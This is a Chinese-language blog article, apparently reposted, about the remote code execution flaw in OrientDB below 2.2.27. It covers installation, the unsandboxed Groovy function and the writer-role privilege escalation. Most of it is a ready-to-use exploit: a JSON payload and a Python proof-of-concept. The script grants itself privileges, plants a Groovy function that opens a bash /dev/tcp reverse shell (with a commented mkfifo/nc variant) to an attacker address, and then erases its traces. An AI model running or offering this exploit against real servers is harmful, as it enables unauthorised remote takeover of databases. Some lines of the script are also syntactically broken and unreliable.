揭开OrientDB 远程代码执行漏洞的真面目

2022-04-14 00:00:00 数据库 命令 文件 服务器 漏洞



NoSQL数据库的市场越来越大,越来越多地被使用,一有“风吹草动”就能掀起不小的波澜。前不久,网上爆出了关于OrientDB数据库远程代码执行漏洞。这个支持分布式NoSQL数据库的漏洞,一经爆出就闹得人心惶惶,起了众多关注接下来就跟着小编一起来研究一下这个备受瞩目的漏洞到底是何方神圣?!



一、何为NoSQL


NoSQL数据库提供了一种用于存储和检索引用除表式数据之外的数据(例如文档数据或图形数据)的NO关系或非关系数据的机制,越来越多地用于大数据和实时Web应用程序。NoSQL系统有时也被称为“Not Only SQL”,以强调它们可能支持类似SQL的查询语言。OrientDB是用Java编写的开源NoSQL 数据库管理系统



二、搭建OrientDB 数据库环境


Step1 下载OrientDB二进制设置文件

OrientDB是由Java编写的,所以可以在任何实现Java虚拟机(JVM)的操作系统上运行。但由于此漏洞存在与低于2.2.27的版本,小编找到的符合条件的安装包只有Linux版本,故以下的安装方式皆建立在Linux版本上。OrientDB需要1.7或者更高版本的Java。文件下载地址:https://orientdb.com/download.php?file=orientdb-community-2.1.9.tar.gz


Step2 解压安装OrientDB

Linux中将orientdb-community-2.1.9.tar.gz文件解压,可以使用以下命令提取tarred文件。

$ tar –zxvf orientdb-community-2.1.9.tar.gz

使用sudo将所有OrientDB库文件从orientdbcommunity-2.1.9移动到/opt/orientdb/目录。

$ sudo mv orientdb-community-2.1.9 /opt/orientdb

注册OrientDB命令和orient服务器。

$ export ORIENTDB_HoME = /opt/orientdb$ export PATH = $PATH:$ORIENTDB_HOME/bin


Step3 配置OrientDB服务器

编辑$ORIENTDB_HOME/bin/orientdb.shbin目录下的orientdb.sh的脚本文件。需要修改两个变量,一个是OPIENTDB_DIR,该变量定义了安装目录/opt/orientdb的路径,第二个是ORIENTDB_USER,它定义了要运行OrientDB的用户名。

ORIENTDB_DIR = "/opt/orientdb"

ORIENTDB_USER = "<username you want to run OrientDB>"

orientdb.sh的文件复制到/etc/init.d/目录中以初始化和运行脚本,这里需要提供超级用户密码。

$ sudo cp $ORIENTDB_HOME/bin/orientdb.sh /etc/init.d/orientdb

console.sh的文件从OrientDB安装目录$ ORIENTDB_HOME / bin复制到系统bin目录(即/user/bin)以访问OrientDB的控制台。

$ sudo cp $ ORIENTDB_HOME/bin/console.sh /usr/bin/orientdb

启动OrientDB数据库服务器作为服务,在这里必须提供在orientdb.sh的文件提及启动服务器的相应用户的密码。

$ service orientdb start

可以用下面的命令查看哪个PID的OrientDB服务器程序正在运行。

$ service orientdb status

也可以使用以下命令停止OrientDB服务器程序。

$ service orientdb stop


Step4 验证OrientDB安装

在上述步骤中我们已经成功在Linux中安装了OrientDB数据库,但是是否能成功运行需要我们再加验证。


运行服务器:按照一下命令启动服务器。

$ cd $ORIENTDB_HOME/bin

$ ./server.sh

或者直接将OrientDB服务作为Linux的服务进程开启。

$ service orientdb start

若我们安装成功,将会显示如下的输出。



漏洞分析


1、OrientDB使用的RBAC模型进行认证。默认情况下,OrientDB有三个角色:admin,writer and reader。对于在服务器上创建的每个数据库,默认情况下会分配三个用户


2、用户的权限分配如下:

Admin:访问数据库上所有的功能,没有任何限制。

Reader:只读,读者可以查询数据库中的任何记录,但不能修改或删除,也不能访问内部信息。

Writer:与reader相同,但它可以创建,更新和删除记录。


3、漏洞产生原理

OrientDB默认配置admin、reader和writer三个角色,在处理where”或“fetchplan”或“order by”函数时,由于在OrientDB中有一个执行groovy函数,groovy包装类没有沙箱,暴露了系统函数,因此我们可以运行我们想要的任何命令。



漏洞复现


1、 由返回头确定版本号。

2、 访问http://Taarget:2480/listDatabases 通过起返回的json列表获取数据库名称。

3、 使用writer的身份尝试Http基础认证,看是否对数据库可写。如果可写,则证明漏洞存在。

1) 检测是否可以作为特权账户操作数据库


2) 检测是否能启用功能操作


3) 检测是否有系统的访问权限

 

验证方法如下:


Payload:  http://www.freebuf.com/command/%60database_name%60/sql/-/20?format=rid,type,version,class,graph


POST的方式请求如下数据:

GRANT execute ON database.class.ouser TO writer

GRANT execute ON database.function TO writer

GRANT execute ON database.systemclusters TO writer

成功执行后则证明可以利用。

给出exp:

{

"@class":"ofunction",

"@version":0,"@rid":"#-1:-1",

"idempotent":null,

"name":"' + func_name + '",

"language":"groovy",

  "code":"def command = \'bash -i >& /dev/tcp/' + reverse_ip + '/6666 0>&1\';File file = new File(\"hello.sh\");file.delete();file    << (\"#!/bin/bash\n\");file << (command);def proc = \"bash hello.sh\".execute();"

"parameters":null

}

 

在目标用bash反弹,本地用nc监听,运行如下命令:netcat -lp 6666

后给出PoC:

 

# OrientDB <= 2.22 RCE PoC

import sys

import requests

import json

import string

import random

 

 

target = "192.168.201.48"

#port = sys.argv[1] if sys.argv[1] else 2480

try:

    port = sys.argv[2] if sys.argv[2] else 2480

    #print port

except:

    port = 2480

 

url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)

def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):

    return ''.join(random.choice(chars) for i in range(size))

def enum_databases(target,port="2480"):

    base_url = "http://%s:%s/listDatabases"%(target,port)

    req = requests.get(base_url)

    if req.status_code == 200:

        #print "[+] Database Enumeration successful"

        database = req.json()['databases']

        return database

    return False

def check_version(target,port="2480"):

    base_url = "http://%s:%s/listDatabases"%(target,port)

    req = requests.get(base_url)

    if req.status_code == 200:

        headers = req.headers['server']

        #print headers

        if "2.2" in headers or "3." in headers:

            return True

    return False

def run_queries(permission,db,content=""):

    databases = enum_databases(target)

    url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[])

    priv_enable = ["create","read","update","execute","delete"]

    #query = "GRANT create ON database.class.ouser TO writer"

    for priv in priv_enable:

        if permission == "GRANT":

            query = "GRANT %s ON %s TO writer"%(priv,db)

        else:

            query = "REVOKE %s ON %s FROM writer"%(priv,db)

        req = requests.post(url,data=query,auth=('writer','writer'))

        if req.status_code == 200:

            pass

        else:

            if priv == "execute":

                return True

            return False

    print ("[+] %s"%(content))

    return True

def priv_escalation(target,port="2480"):

    print ("[+] Checking OrientDB Database version is greater than 2.2?")

    if check_version(target,port):

        priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")

        priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")

        priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")

        if priv1 and priv2 and priv3:

            return True

    return False

def exploit(target,port="2480"):

    #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null'

    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None}

    func_name = random_function_name()

    print (func_name)

    databases = enum_databases(target)

    reverse_ip = raw_input('Enter the ip to connect back: ')

    query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":null}'

    #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a     file.delete()       \u000a     file << (\"#!/bin/bash\")\u000a     file << (command)\n    def proc = \"bash hello.sh\".execute() ","parameters":null}'

    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None}

    req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[]),data=query,auth=('writer','writer'))

    if req.status_code == 201:

        #print req.status_code

        #print req.json()

        func_id = req.json()['@rid'].strip("#")

        #print func_id

        print ("[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name))

        req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[],func_name),auth=('writer','writer'))

        #print req.status_code

        #print req.text

        if req.status_code == 200:

            print ("[+] Open netcat at port 8081..")

        else:

            print ("[+] Exploitation failed at last step, try running the script again.")

            print (req.status_code)

            print (req.text)

        #print "[+] Deleting traces.."

        req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[],func_id),auth=('writer','writer'))

        priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")

        priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")

        priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")

        #print req.status_code

        #print req.text

if priv_escalation(target,port):

    exploit(target,port)

else:

    print ("[+] Target not vulnerable")

 

 来自:https://mp.weixin.qq.com/s/tuNP2XQYLqdPq9pIuiOW-Q



相关文章